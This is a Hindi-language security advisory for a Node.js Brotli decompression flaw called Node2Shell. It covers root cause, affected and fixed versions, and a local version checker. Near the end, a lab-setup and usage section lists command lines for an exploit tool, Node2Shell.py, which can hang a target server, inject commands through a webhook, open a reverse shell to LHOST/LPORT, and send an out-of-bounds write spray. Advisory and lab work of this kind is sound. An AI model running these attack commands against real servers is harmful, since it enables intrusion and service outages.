CVE-2026-111497 — `Node2Shell`

CVE-2026-111497 के लिए व्यापक सुरक्षा सलाह, तकनीकी विश्लेषण और उपचार मार्गदर्शिका

---

📋 विषय-सूची

कार्यकारी सारांश
तकनीकी गहन विश्लेषण
प्रभावित और ठीक किए गए संस्करण
पहचान और ऑडिट
उपचार और पैचिंग
- नेटिव रनटाइम अपग्रेड
- Docker / कंटेनर लेयर फिक्स
शमन रणनीतियाँ
संदर्भ और संसाधन
अस्वीकरण

📌 कार्यकारी सारांश

अक्टूबर 2026 में प्रकट किया गया, Node2Shell (CVE-2026-111497) एक गंभीर सुरक्षा भेद्यता है जो सीधे Node.js रनटाइम बाइनरी के अंदर बंडल किए गए नेटिव Brotli डीकंप्रेशन घटक को प्रभावित करती है।

यह दोष दूरस्थ हमलावरों को विशेष रूप से तैयार किए गए, विकृत Brotli-संपीड़ित बाइट स्ट्रीम को किसी भी Node.js एप्लिकेशन में सबमिट करके मनमाना कोड निष्पादित करने या एप्लिकेशन को क्रैश करने की अनुमति देता है जो संपीड़ित इनपुट को संसाधित करता है (जैसे, HTTP अनुरोध बॉडी पार्सर, नेटिव fetch() कॉल, या WebSocket स्ट्रीम)।

⚠️ महत्वपूर्ण सूचना: चूँकि भेद्य कोड deps/brotli के भीतर स्थित है जो Node.js निष्पादन योग्य फ़ाइल में ही संकलित है, उपयोगकर्ता-स्थान npm निर्भरताओं को अपडेट करना इस भेद्यता को कम नहीं करेगा। Node.js बाइनरी रनटाइम को अपडेट किया जाना चाहिए।

⚙️ तकनीकी गहन विश्लेषण

मूल कारण विश्लेषण

दोष प्रकार: अनियंत्रित रिटर्न मान (CWE-252) के परिणामस्वरूप आउट-ऑफ-बाउंड्स राइट (CWE-787)।
भेद्य घटक: Node.js (deps/brotli) में एकीकृत अपस्ट्रीम Google Brotli डिकोडर मॉड्यूल।
तंत्र: विकृत स्ट्रीम को डीकंप्रेस करते समय, डिकोडर स्ट्रीम स्थिति संक्रमणों के दौरान सीमा शर्तों को ठीक से मान्य नहीं कर पाता। इससे पूर्व-आवंटित मेमोरी स्थान से परे हीप-बफ़र भ्रष्टाचार होता है।

आक्रमण वेक्टर

इनबाउंड HTTP अनुरोध: स्वचालित बॉडी डीकंप्रेशन (Content-Encoding: br) के साथ कॉन्फ़िगर किए गए फ्रेमवर्क और मिडलवेयर (जैसे, Express, Fastify)।
आउटबाउंड / इनबाउंड Fetch API: नेटिव fetch() जो संपीड़ित सामग्री परोसने वाले अविश्वसनीय तृतीय-पक्ष एंडपॉइंट्स से स्वचालित प्रतिक्रियाओं को संसाधित करता है।
आंतरिक स्ट्रीम पाइपलाइन: zlib.createBrotliDecompress() का उपयोग करने वाली कस्टम Node.js स्ट्रीम।

प्रभाव आकलन

सेवा इनकार (DoS): सेगमेंटेशन फॉल्ट (SIGSEGV) का विश्वसनीय निष्पादन जिससे वर्कर प्रक्रियाएँ तुरंत क्रैश हो जाती हैं।
सूचना प्रकटीकरण: अनियंत्रित हीप रीड्स जो प्रक्रिया मेमोरी में कैश किए गए संवेदनशील टोकन या पर्यावरण चर को उजागर करती हैं।
दूरस्थ कोड निष्पादन (RCE): प्रदर्शित हीप मेमोरी भ्रष्टाचार जो मानक असंशोधित कंटेनर परिनियोजन पर प्रक्रिया निष्पादन प्रवाह पर पूर्ण नियंत्रण की ओर ले जाता है।

📊 प्रभावित और ठीक किए गए संस्करण

Node.js रिलीज़ लाइन	स्थिति	ठीक किया गया संस्करण	आवश्यक कार्रवाई
Node.js 26.x	⚠️ असुरक्षित	`>= 26.12.1`	तुरंत अपग्रेड करें
Node.js 24.x	⚠️ असुरक्षित	`>= 24.22.1`	तुरंत अपग्रेड करें
Node.js 22.x (LTS)	⚠️ असुरक्षित	`>= 22.23.4`	तुरंत अपग्रेड करें
Node.js 20.x और पुराने	❌ EOL	कोई नहीं	तुरंत समर्थित LTS पर माइग्रेट करें

🚨 EOL चेतावनी: Node.js 20 अप्रैल 2026 में एंड-ऑफ-लाइफ (EOL) हो गया। EOL संस्करणों के लिए आधिकारिक सुरक्षा बैकपोर्ट उपलब्ध नहीं हैं।

सेफ चेक स्क्रिप्ट

सेफ चेकर सही ढंग से काम करने पर आपको बिल्कुल यही दिखना चाहिए।

1. पैच किया गया / ठीक किया गया Node.js (अच्छा परिणाम)

$ node node2shell-check.js

=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder

───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

2. असुरक्षित Node.js (खराब परिणाम)

$ node node2shell-check.js

=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder

───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

3. जीवन-चक्र समाप्त संस्करण (यह भी असुरक्षित)

Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder

Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.

स्थिरांक को स्वयं सत्यापित करने का त्वरित तरीका

आप इस एक-पंक्ति कमांड को भी चला सकते हैं:

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"

-17 लौटाता है → पैच किया गया
missing लौटाता है → असुरक्षित

यह वही जाँच है जो स्क्रिप्ट उपयोग करती है।

लैब सेटअप

# Python dependencies
pip install requests brotli

# Node server (webhook injection + eval paths)
npm install
node server-stock.js       # port 3000

उपयोग

# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10

# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT

# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data

CVE-2026-111497

सबसे लोकप्रिय

CVE-2026-111497 — Node2Shell